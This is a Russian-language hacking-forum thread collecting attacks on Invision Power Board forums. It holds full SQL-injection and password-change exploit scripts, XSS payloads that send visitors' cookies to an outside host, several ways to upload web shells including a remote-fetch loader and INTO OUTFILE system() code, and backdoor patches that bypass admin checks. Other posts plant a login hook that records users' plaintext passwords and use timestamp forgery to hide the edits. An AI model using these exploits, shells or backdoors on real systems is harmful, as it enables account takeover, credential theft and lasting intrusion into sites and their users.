Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Форумы (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей IPB] (https://forum.antichat.xyz/showthread.php?t=89112)

Jokester 26.10.2008 13:55

[Обзор уязвимостей IPB]
 
В связи с потерей одноимённой темы, принято решение о её востановлении, с соблюдением авторских прав людей, чьи посты были изначально в этом топике.

Здесь выкладываем только уязвимости форума Invision Power Board

Просьбы о взломах, помощь в определении версии, и вопросы по этому движку убедительная просьба оставлять в соответствующих топиках:

[Задай Вопрос - Получи Ответ]
https://forum.antichat.ru/thread80624.html

Раздел: Просьбы о взломах
https://forum.antichat.ru/forum44.html

Так-же рекоммендуется к прочтению:

[Заливка шелла в Форуме]
https://forum.antichat.ru/thread76949.html

IPB 2.1.7 passive XSS
https://forum.antichat.ru/threadnav23405-1-10.html

sql-inj в ipb <=2.1.7
http://forum.antichat.ru/threadnav25088-1-10.html

Invision Power Board 2.1.7 Exploit
http://forum.antichat.ru/threadnav57362-1-10.html

Правила раздела!
https://forum.antichat.ru/thread39445.html

При копировании материала по уязвимостям IPB с других ресурсов , ссылка на источник обязательна

Jokester 26.10.2008 14:58

[Обзор уязвимостей Ipb]: Заливка шелла, определение версии ipb, троянизация скриптов.
 
Автор k1b0rg


Вот смотрел я на нарастающие однотипнвые темы про Ipb, и решил объединить все что известно про ipb. Мой рассказ будет состоять из несколько пунктов:

1.Определение версии форума.
2.Взлом форума.
3.Закачака шелла и использование админки.
4."Трояним" форум.


(1)Определяем версию

1.3
присутсвует папки:
/html/emoticons/
/fonts/
/Skin/
/ssi_templates/
присутсвтуют файлы
ssi.php
show.php
css.php
conf_mime_types.php

2.0.*
файлы:
/sources/help.php
/sources/usercp.php
/sources/trial_functions.php
/sources/topics.php
/sources/taskloader.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: Invision Power Board -> Forbidden

2.1.*
Присутсвуют папка
/ips_kernel/PEAR/
присутствует файлы:
info.php
реагирует на 403 "доступ запрещен" например к папке
/ips_kernel/ как 403: IBForums-> Forbidden

(2)А теперь займемся взломом
Взломать ipb можно двумя путями sql инъекция и xss, разберемем по порядку
каждый вид взлома:
1) sql инъекция
Качаем прогу ActivePerl с сайта [forbidden link] И устанавливаем ее.
затем качаем сплойты
http://milw0rm.com/id.php?id=1036
http://milw0rm.com/id.php?id=1013
http://milw0rm.com/id.php?id=648
http://www.web-hack.ru/exploit/source/r57ipb2.txt

в последнем сплойте исправьте строку $allchar .= chr(42); на $allchar .= chr($char);
разберем пример работы на первом сплойте, т.к. работа остальных сплойтов одинакова.
Выполняем последовательность действий: Пуск->Выполнить, набираем cmd, запуститься командная строка, дальше пишем cd C:\perl\bin где \perl\bin путь до вашей ActivePerl, потом у вас высветиться ваша папка с этой прогой, дальше набираем perl C:\ipb.pl site.ru /forum/ 1 0
где C:\ipb.pl путь до вашего сплойта, site.ru имя сайта(без http://), /forum/ папка с форумом(обязательно должна быть отделена от сайта пробелом, и с двух сторон заключена во влеши), если форум находиться по адресу forum.site.ru, то пишем просто perl C:\ipb.pl site.ru / 1 0 , 1-id пользователя хеш, которого вы хотите получить, 0- это версия форума
(0- 1.3; 1- 2.0.*)
Немного подождав(минуты 3), он вам выплюнет или хеш, либо Failed что означает что форум пропатчен.
Не забывайте что в форуме Ipb 1.3 пароль хешируеться просто md5($password), а начиная с ipb 2.0.0 пароль хешируеться уже так md5(md5($password.$solt)), чтобы расшифровать хеш форума 1.3 качаем прогу PasswordPro и парочку словарей, а чтобы расшифровать хеши форума 2.0.* качаем тоже самое+прогу (которая идет в дполнение с видео по взлому от coyl) http://video.antichat.org/author/Coyl.html
читаем еще здесь
http://www.securitylab.ru/vulnerability/205468.php
http://www.securitylab.ru/vulnerability/204662.php
http://www.securitylab.ru/vulnerability/203717.php
http://www.securitylab.ru/vulnerability/203105.php
http://www.securitylab.ru/vulnerability/202735.php
http://www.securitylab.ru/vulnerability/201944.php
http://www.securitylab.ru/vulnerability/202802.php
http://www.securitylab.ru/vulnerability/205603.php


2) xss (за указанные здесь коды благодраим White Jordan).Естественно без знака *, я его псотавил чтобы эти коды не сработали на этом форуме

Цитата:

[ema*il]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

[HT*ML][EMA*IL][UR*L=wj`=`][/U*RL][/EM*AIL][/co*lor][color=wh*ite]` style=`backg*round:url(javascript:docu*ment.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/c*olor]

[EMA*IL]mail@mail.com[U*RL=target/*style=background:url(javasc*ript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/U*RL][/EM*AIL]

[po*st=1000[to*pic=target style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie); ][/to*pic]][/po*st]

[em*ail]wj@wj.com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`

[COLOR=[IМG]http://aaa.aa/=`aaa.jpg[/IMG]]` style=background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)

[еm*ail]wj@wj.com[/em*ail] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);`


[EM*AIL][U*RL=wj`=`][/UR*L][/EM*AIL]]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`

[HT*ML][co*lor=white][EM*AIL][U*RL=wj`=`][/URL][/EMA*IL][/color]` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`
Воруем куки, подделываем их(лучше всего под Opera, или CookieEditor), но в админку мы не зайдем, незная пароль(даже если будет хеш), В АДМИНКУ МОЖНО ЗАЙТИ ТОКА ЗНАЯ ПАРОЛЬ!

(3)Заливаем шелл.

ipb 1.3
заходим под админом(как стать админом уже много раз обсуждалось)
Далее заходим в "Administration(Администрирование )" жмем "Manage Emoticons(Управление смайлами)" опускаем страницу вниз и видим такую строку "Upload an Emoticon to the emoticons directory(Загрузить смайл в его директорию)" жмем кнопку "Browse(Обзор)" и выбираем у себя на компе шелл, загружаеться он в папки в зависимости от версии:
1.3 /forum/html/emoticons/shell.php
2.* /forum/style_emoticons/default/shell.php
где shell.php имя вашего загруженного шелла.

ipb 2.*
заходим под админом и жмем "LOOK & FEEL" потом выбираем "Emoticon Manager", дальше там будет видна папка по дефолту "default" ставим напротив нее галочку, галочка показывает папку в которую нада залить ваш смайлик, в данном случае шелл.

Скачиваем базу данных.
Допустим ты ломал форум не из-за шелла, и тебе он не нужен, тогда значит ты ломал форум из-за базы. Значит сейчас мы ее скопируем(задампим).
Заходим в меню Sql Management, некторые личности копируют всю базу когда выбирают mySQL Back UP, чем сажают себя на траффик, особенно если им нужна тока таблица с юзверями. Если же тебе нужно тока что-то определенно из базы, тогда читай дальше.Выбираем mySQL Toolbox, и видим что перед нами все таблицы базы данных форума, здесь мы можем посмотреть базу данных или скачать. Я думаю тут все просто и объяснять тебе не надо.

(4)"ТРОЯНИМ" форум.

А теперь представим такую ситуацию, что ты месяц ломал форум, залил шелл, и бац, его удалили =)печально, конечно, да! Для этого мы будем "троянить" форум ,т.е. изменять исходный код форума на тот который сделает нас админом, даже если мы им не являемся. Т.е. любой рарегестрированный пользователь сможет стать админом, но в админцентре, что ты админ не будет отображаться И врядли админы будут смотреть исходники страниц, т.е. твой "троян" будет еще долгое время висеть на форуме чуешь? итак начнем.
ищем такие строки (по дефолту 382 строчка)

ipb 1.3

PHP код:

if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{
$session_validated 1;
$this_session $row;


и заменяем на
PHP код:

if ($GROUP['g_access_cp'] != || $GROUP['g_access_cp'] = 1)
{

$session_validated 1;
$this_session $row;


и ищим строчки (по дефолту 442 строчка)
PHP код:

if ($GROUP['g_access_cp'] != 1)
{
do_login("You do not have access to the administrative CP");
}
else
{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id md5uniqidmicrotime() ) ); 

заменяем соотвественно на
PHP код:

if ($GROUP['g_access_cp'] != || $GROUP['g_access_cp'] = 1)

{

//----------------------------------
// All is good, rejoice as we set a
// session for this user
//----------------------------------

$sess_id md5uniqidmicrotime() ) ); 

потом ползем в файл /sources/Admin/ad_mysql.php и удаляем строки

PHP код:

if ($MEMBER['mgroup'] != $INFO['admin_group'])
{
$ADMIN->error("Sorry, these functions are for the root admin group only");


ipb 2.*
/sources/action_admin/login.php
по дефолту 147 строчка
удаляем строки
PHP код:

if ($mem['g_access_cp'] != 1)
{
$this->login_form("You do not have access to the administrative CP");
}
else


и в строке (по дефолту 206) удаляем символ "}" естественно без кавычек.
sql.php по дефолту 46 строка:
удаляем
PHP код:

if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");


потом идем сюда
/sources/lib/admin_functions.php (строка 262)
изменяем строку:
PHP код:

$this->ipsclass->admin_session['_session_validated'] = 0

на
PHP код:

$this->ipsclass->admin_session['_session_validated'] = 1

потом удаляем строки в файле /sources/sql_mysql.php (по дефолту 76 строка)
PHP код:

if ($this->ipsclass->member['mgroup'] != $this->ipsclass->vars['admin_group'])
{
$this->ipsclass->admin->error("Sorry, these functions are for the root admin group only");


А терь объясню все поподробней, когда ты заходишь в админку(не "затрояненную"), то идет сначала проверка if ($GROUP['g_access_cp'] != 1) имеешь ли ты доступ к админке, если нет {
do_login("You do not have access to the administrative CP");
}

то пишеться что ты болван, если же имеешь пропускает дальше. Для того чтобы нас приняли за своего надо изменить как ты понял эту строку if ($GROUP['g_access_cp'] != 1) на if ($GROUP['g_access_cp'] != 1 || $GROUP['g_access_cp'] == 1 ) этим мы ей даем понять, если мы имеем доступ к админке, или не имеем, все равно нас пропустить. Знающие легко переделают код под себя, как им хочеться, впишут что хотят, но т.к. как статья расчитывалась для начинающих, то я думаю, что вам так понятней будет. Ну вот, самые важные аспекты я разобрал, если что непонятное спрашивайте. Указанный выше приём, сработал в 9/10 форумов. В десятом были поставлены права правильно, отсюда следует, что почти каждый форум уязвим. ТОЛЬКО НЕ ЗАБЫАЕМ ИЗМЕНЯТЬ ДАТУ изменения файла, командой
touch -t 200310240921
где 2003 год 10 месяц 24 число 09:21 часов
советую изначально посмотреть эту дату перед трояниваем, чтобы поставить точно такую же.

PS Материал востановлен
Дата публикации: 11.12.2005, 02:16.
Автор k1b0rg .
Были внесены изменения по оформлению, и изменены некоторые линки на рабочие

Jokester 26.10.2008 15:16

залитие шела
 
Автор ShAnKaR

залитие шела в ipb 1.3.* через шаблоны
вроде ни где не освещалась эта тема, если было то удалите.

иногда бывает что нет доступа на запись в папку смайликов тогда можно попробывать залить свой код через шаблоны.

идем в админ панели в опцию скины и шаблоны->HTML шаблоны экспортируем к себе на комп используемый на данный момент шаблон
открываем и изменяем начальный кусок кода например на :
Цитата:<!--TEMPLATE_SET|Invision Power Board Template Set,Invision Power Board,skins@invisionboard.com,http://www.invisionboard.com-->

Цитата:

<!-- PLEASE LEAVE ALL 'IBF' COMMENTS IN PLACE, DO NOT REMOVE THEM! -->
<!--IBF_GROUP_START:skin_boards-->

<!--IBF_START_FUNC|whoschatting_show|$total, $names, $link, $txt-->

<tr>
<td class='pformstrip' colspan='2'>{$total} {ibf.lang.whoschatting_total} <a href='$link'>{ibf.lang.whoschatting_loadchat}</a></td>
</tr>
<tr>
<td width="5%" class='row2'><{F_ACTIVE}></td>
<td class='row4' width='95%'>
{$names}<div class='desc' style='margin-top:5px'>$txt</div>
</td>
</tr>
EOF;
}}
eval($_GET[ww]);
exit;
function testcccc(){
function whoschatting_show($total, $names, $link, $txt) {
global $ibforums;
return <<<EOF

<!--IBF_END_FUNC|whoschatting_show-->
далее заливаем как новый шаблон, и идем в http://localhost/upload/Skin/s2/skin_boards.php?ww=phpinfo();
может быть и не s2- цифра в зависимости от номера шаблона

PS Материал востановлен
Дата публикации: 21.01.2007, 23:21
Автор ShAnKaR

Jokester 26.10.2008 15:27

SQL-inj в админке IPB 2.1.7
 
Автор: KPOT_f!nd

Вот еще бага IPB 2.1.7
Цитата:

admin.php?adsess=тут ваша сессия админская&section=tools&act=op&code=setti nggroup_showedit&id=
-1%20union%20select%201,1,1,1,1,converge_pass_hash% 20from%20whb_members_converge%20where%20converge_i d=1
аффтор баги: creatorzzz
PS Материал востановлен
Дата публикации: 19.01.2007, 05:47
Автор KPOT_f!nd

Jokester 26.10.2008 15:30

залитие шела
 
Автор ShAnKaR

инклуд локального файла в ipb 1.3 естественно если есть доступ в админку
идем в панельку для mysql и делаем запрос :
Цитата:

INSERT INTO `ipb_languages` (`lid`, `ldir`, `lname`, `lauthor`, `lemail`) VALUES ('5',concat('../../../../../../../../../tmp/1.php',char(0)), 'test', NULL, NULL);
потом идем по адресу
http://localhost/upload/admin.php?adsess=86e7bc44&act=lang&code=edit2&id=5

и смотрим че получилось, вроде ни где такое еще не упоминалось
P.S. локальный файл должен быть доступен для записи

PS Материал востановлен
Дата публикации: 29.01.2007, 23:17
Автор ShAnKaR

Jokester 26.10.2008 15:36

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
 
Автор Dimon_Aka_Sexxx

Invision Power Board v2.1.7 (Debug) Remote Password Change Exploit
PHP код:

<?php 
/* 

 Debug Mode password change vulnerability 
 Affects Invision Power Borard 2.0.0 to 2.1.7 
 by Rapigator 
  
 This works if: 

 "Debug Level" is set to 3 
 or 
 Enable SQL Debug Mode is turned on 
  
 In General Configuration of the forum software. 

*/ 

// The forum's address up to and including 'index.php' 
$site "http://localhost/forums/index.php"

// An existing user's login name 
$name "admin"

// The new password(3-32 characters) 
$pass "1234"

// You can use a proxy... 
// $proxy = "1.2.3.4:8080"; 



// ----------------------------- 
$site .= "?"
$suffix ""
$name urlencode($name); 
$pass urlencode($pass); 
$curl curl_init($site.'act=Reg&CODE=10'); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 
} else { 
$suffix "&debug=1"
$curl curl_init($site.'act=Reg&CODE=10'.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/'$page$regs)) { 
$prefix $regs[1]; 
$regid $regs[2]; 
$regcode $regs[3]; 


if (!isset(
$regid) || !isset($regcode)) { 
echo 
"Error: Probably not vulnerable, or no forum found"
exit; 


$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
if (
preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 

if (
preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date,  coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/'$page$regs)) { 
change_pass($regcode,$regid,$regs[1],$regs[2]); 


function 
change_pass($regcode,$regid,$vid,$userid) { 
global 
$site$proxy$name$pass
$curl curl_init($site.$suffix); 
curl_setopt($curlCURLOPT_PROXY$proxy); 
curl_setopt($curlCURLOPT_RETURNTRANSFER1); 
curl_setopt($curlCURLOPT_POST1); 
curl_setopt($curlCURLOPT_POSTFIELDS"act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}"); 
curl_setopt($curlCURLOPT_TIMEOUT10); 
$page curl_exec($curl); 
curl_close($curl); 
echo 
"Password Changed!"
exit; 

?>

PS Материал востановлен
Дата публикации: 30.01.2007, 10:08
Автор Dimon_Aka_Sexxx

Jokester 26.10.2008 15:57

протроянивание
 
Автор VampiRUS

Если возможно изменение исходников, то для того чтоб не брутить хеши:
Создаем какую-нибудь неприметную табличку с полями id, name, password.
находим в /sources/action_public/login.php
(по умолчанию 545'ая строка):
PHP код:

if ( $this->han_login->return_code != 'SUCCESS' )
        {
            
$this->log_in_form'wrong_auth' );
        } 

после них записываем:
PHP код:

$ppass=$this->ipsclass->input['PassWord'];
        
$this->ipsclass->DB->query("INSERT INTO ibf_subscriptions_import (name,pass) values('$username','$ppass')"); 

и для того чтоб пользователям пришлось вводить пароль, а не пользовались автовходом, удаляем их сессии:
UPDATE ibf_members set member_login_key='1'
и
очистить таблицу ibf_sessions.

PS Материал востановлен
Дата публикации: 09.04.2007, 13:52
Автор VampiRUS

Jokester 26.10.2008 16:00

Ipb 2.1.7 [PDF] Активная Xss
 
Автор md5f1h

Активная XSS

На 2.1.7 проверял на ост нет...

Если создать тему и прикрепить файл pdf а внутри него написать <script>alert()</script> то при открытие файла вылетает алерт... работает на ie

Ps /дополнение/ не то что на ие. Работает при установленно адоб акробат ридере <=7
PS Материал востановлен
Дата публикации: 29.04.2007, 17:28
Автор md5f1h

Jokester 26.10.2008 17:00

залитие шела
 
Автор _GaLs_

1. "Administration(Администрирование )"->"Look and feel(Внешний Вид)"->"Manage emoticons(Менеджер смайликов)"->"Browse(Обзор)"
Обычно шелл грузится, если не включен SAFE MODE и хватает прав
* /forum/style_emoticons/default/shell.php
где default выбраная папка для загрузки shell.php имя вашего загруженного шелла.

Однако, возможна такая ситуация, что запись в папку emoticons запрещена. В таком случае воспользуемся обходным маневром, и запишем файл в ту папку, которая открыта на запись. А такая папка всегда существует в IPB, и называется uploads. Эта папка используется для хранения аватаров пользователей и для хранения присоединенных к постингам файлов. Понятное дело, что эта папка всегда открыта для записи.

Для загрузки файла в папку uploads используем все ту же форму для загрузки смайликов. Несмотря на то, что эта форма предназначена дла загрузки файлов только в папку html/emoticons, это органичение можно обойти, подделав HTTP запрос.

Обратим внимание на фрагмент запроса filename="c:/myFile.php". Этот фрагмент автоматически посылается браузером, и содержит полное локальное имя отсылаемого файла. При приеме запроса, сервер отбрасывает локальную часть пути и сохраняет файл под именем myFile.php в папке html/emoticons. Но если в качестве имени файла передать например такой filename="../myFile.php", то сервер не отбрасывает путь, поскольку он не является локальным, и загружает файл в папку, по указанному пути, относительно папки html/emoticons. Таким образом, послав модифицированный запрос, мы сможем загрузить произвольный файл в произвольную папку сервера.

2. "Управление"->"Типы прикрепляемых файлов"->"Добавить новый тип прикрепляемого файла"
phtml
application/octet-stream
выбираем "Разрешить использовать этот тип файла как аватару / фотографию?":да.
идем "Настройка"->"Профили пользователей" увеличиваем "Максимальный размер загружаемого файла аватара (в килобайтах)", и ставим побольше.
после чего выбираем пользователя и редактируем его аватар на наш shell.phtml, если всё прошло удачно и апач настроен на обработку phtml, то мы по адресу картинки увидем долгожданный шелл.

3. "Управление SQL"->"утилита"->выбираем таблицу и в "Запуск запроса" пишем:


Цитата:

CREATE TABLE `ibf_shell` (`shl` TEXT NOT NULL) TYPE = MYISAM ; INSERT INTO `ibf_shell` ( `shl` ) VALUES (`пхп-код`); SELECT `shl` FROM `ibf_shell` INTO OUTFILE `путь/имяфайла.php` DROP TABLE `ibf_shell`

--------------------------------------------------------------------
Примечание Grey'я:
--------------------------------------------------------------------

Запрос который написал ты (а точнее ты написал 4 запроса) создает таблицу, запихивает в неё код шелла, затем содержимое талицы уже выводится в файл, а потом таблица удаляется.

Можно более прямо составить запрос (вывести произвольную строку в файл):

Цитата:

select '<?php system($a); ?>' into outfile 'абсолютный путь до форума/forum/uploads/1.php';

т.к. в папку uploads заливаются аватары, то на ней должны стоять права на запись.

--------------------------------------------------------------------
--------------------------------------------------------------------

4. Идём в "настройки" выбираем любую из них, жмём добавить новую настройку, и в поле "Выполнение PHP-кода до отображения или сохранения настройки:" пишем любой php код, на пример такой:

PHP код:

$linky="http://site.ru/shell.txt";
$saved="/usr/home/www/site/public_html/forum/
uploads/shell.php"
;
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!
feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from); 

Узнаем полный путь к uploads:
"Настройки"->"Глобальные Настройки форума"->"Путь к папке /uploads/"
обычно этот путь указывается.
--------------------------------------------------------------------
--------------------------------------------------------------------
PS Материал востановлен
Дата публикации: 24.05.2007, 09:31
Автор _GaLs_

Jokester 26.10.2008 17:08

Уязвимости Модов IPB
 
Автор _GaLs_

Уязвимости Модов IPB

Army System

SQL Injection Exploit
PHP код:

<?php 
/* --------------------------- EXPLOIT --------------------------- 
Invision Power Board Army System Mod 2.1 SQL Injection Exploit 
Tested on: Latest version (2.1.0) 
Discovered on: 06.02.2006 by Alex & fRoGGz 
Credits to: SecuBox Labs 

PLEASE READ THIS ! 
The query of the SQL Injection depends about the number of fields in the sql table 
We have successfully tested the exploit on a new fresh IPB 2.1.x with Army  
System Mod 2.1 installed 

IN NO EVENT SHALL THE OWNER OF THIS CODE OR CONTRIBUTORS BE LIABLE  
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER  
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 
*/ 

$target "http://site.com/forums/"// <--- Where ? 
$prefix "ibf_"// <--- SQL prefix ? 
$id 1// <--- Who ? 

print_r(get_infos($target,$prefix,$id)); 
if(!
get_infos($target,$prefix,$id)) echo "failed"

function 
get_infos($target,$prefix,$id) { 

    
$inject "index.php?s=&act=army&userstat=0+UNION+SELECT+id,member_login_key,"
    
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  1,1,1,1,1,1,1,"
    
$inject.= "1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,  1,1,1,NULL,NULL,"
    
$inject.= "NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,  NULL,NULL,NULL,"
    
$inject.= "NULL+FROM+".$prefix."members+WHERE+id="

    
$filename $target $inject $id

    
$handle fopen ($filename"r"); 
        
$infos = array(); 

        if (
feof($handle)) { continue 2; } 
        if ( 
$handle ) { 
                while ( (
$buffer fgets$handle )) ) 
                { 
                        if ( 
strpos$buffer"<td class='pformleft' width=\"35%\">Name</td>") ) { 
                                
$infos['md5'] = strip_tags fgets$handle) ); 
                break; 
                        } 
                } 
        } 

    
fclose ($handle); 

        if (
count($infos) == 1) return $infos
        return 
false

?>

D2-Shoutbox [версия 4.2]
SQL Injection Exploit
PHP код:

#!/usr/bin/perl
##################################################  #######
#         _______ _______ ______         #
#         |______ |______ |     \        #
#         ______| |______ |_____/        #
#                                        #
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection        #
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
##################################################  #######
#google:
#"Powered By D2-Shoutbox 4.2"
##################################################  #######
use IO::Socket;
$host $ARGV[0];
$user $ARGV[2];
$uid  $ARGV[3];
$pid  $ARGV[4];
$type $ARGV[5];

sub type()
{
if(
$type==1){$row="password";}
if(
$type==2){$row="member_login_key";}
else{print 
"Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id=  ".$user."/*";
$path $ARGV[1].$sql;
}


sub header()
{
print 
q{
##################################################  #####################
###         D2-Shoutbox 4.2 SQL injection Exploit                 ### 
###         Tested On D2-Shoutbox 4.2 And IPB 2.4                 ###
###          Created By SkOd, Sed Security Team                 ###
##################################################  #####################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
##################################################  #####################
}
}

sub sedsock()
{
$sedsock IO::Socket::INET->newProto => "tcp"PeerAddr => $hostPeerPort => "80") || die "[-]Connect Failed\r\n";
print 
$sedsock "GET $path HTTP/1.1\n";
print 
$sedsock "Host: $host\n";
print 
$sedsock "Accept: */*\n";
print 
$sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print 
$sedsock "Connection: close\n\n";
while(
$res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}
Remote SQL Injection Exploit 

PS Материал востановлен
Дата публикации: 24.05.2007, 16:56
Автор _GaLs_

Jokester 26.10.2008 17:18

Уязвимости Модов IPB
 
Автор _GaLs_

Уязвимости Модов IPB

D21-Shoutbox 1.1

PHP код:

 #!/usr/bin/perl 

######################################## 
# Coded by k1b0rg (768620) # 
# shout.pl <site> <id> # 
# shout.pl http://site.ru/forum/ 1 # 
# shout.pl http://site.ru/forum/ 1,2 # 
######################################## 

use LWP::UserAgent
my $browser LWP::UserAgent->new(); 
$site=$ARGV[0]; 
my $admins_id=$ARGV[1]; 
@
admin=split(',',$admins_id); 
my $res=$browser->get($site.'index.php?act=Shoutbox'); 
if(
$res->content=~/act=Shoutbox&shout=(d+)/is

my $idshout=$1
syswrite STDOUT"\n".'Shout box found!'
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'\''); 
if(
$res->content =~ /(SQL error|mySQL query error)/is

syswrite STDOUT"\n".'Mode(sql) shoutbox: [OK]'
if(
$res->content =~ /FROM (.*?)shoutbox/i

$prefix_bd=$1
syswrite STDOUT"\n".'prefix_bd_shoutbox: ['.$prefix_bd.']'
&
shout_sql($idshout); 


else { 
syswrite STDOUT"\n".'NOT Vulnerebility';} 

else { 
syswrite STDOUT"\n".'Shout box mode NOT FOUND!';} 
sub shout_sql($) 

my $idshout=$_[0]; 
foreach 
my $id(@admin

syswrite STDOUT"\n".'Admin id ('.$id.') : ['
for(
$i=1;$i<=32;$i++) 

&
position_shout(97,102,$i,$id,$idshout,'pass') if (!&position_shout(48,57,$i,$id,$idshout,'pass')) 

syswrite STDOUT':'
for(
$i=1;$i<=5;$i++) 

&
position_shout(33,126,$i,$id,$idshout,'salt'); 

syswrite STDOUT']'


sub position_shout($$$$$$) 

my ($j,$max,$i,$mid,$idshout,$label)=@_
while(
$j<=$max

if(&
scan_shout($site,$j,$mid,$i,$idshout,$label)) { syswrite STDOUTchr($j); return 1;} 
$j++; 


sub scan_shout($$$$$) 

my ($site,$num,$mid,$pos,$idshout,$label)=@_
my $field=($label eq 'pass')?('converge_pass_hash')'converge_pass_sal t'); 
my $res=$browser->get($site.'index.php?act=Shoutbox&shout='.$idshout.'+and(ascii(substring((select+'.$   field.'+from+'.$prefix_bd.'members_converge+where+   converge_id='.$mid.'),'.$pos.',1))='.$num.')/*'); 
return 
if($res->content=~/varssidss=s[(d+)];/is); 


ibProArcade 2.x

SQL Injection Exploit
Цитата:

index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]
PS Материал востановлен
Дата публикации: 26.05.2007, 12:20
Автор _GaLs_

Jokester 26.10.2008 17:28

Invision Power Board Passive XSS
 
Автор +toxa+

Passive XSS

бажный кусок кода:
PHP код:

во всех файлах примерно так 
<html> 
<head> 
  <title>Insert Div/Span</title> 
    <script type="text/javascript"> 
    <!-- 
    //----------------------------------------- 
    // Attempt to get editor ID 
    //----------------------------------------- 
    var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'?> 
    var this_module       = 'email'; 
    var this_height       = 300; 
    var allow_advanced    = null; 
    var current_selection = null; 
.... 

в module_bbcodeloader.php также, тока с добавкой 
.... 
    //----------------------------------------- 
    var editor_id         = <?php print '"'.trim($_REQUEST['editorid']).'";'?> 
    var bbcode_id         = <?php print '"'.trim($_REQUEST['id']).'";'?> 
    var this_module       = 'bbcodeloader'; 
....

xss:
Цитата:

http://localhost/ipb/jscripts/folder_rte_files/module_image.php?editorid=";alert(document.cookie) ;var i="
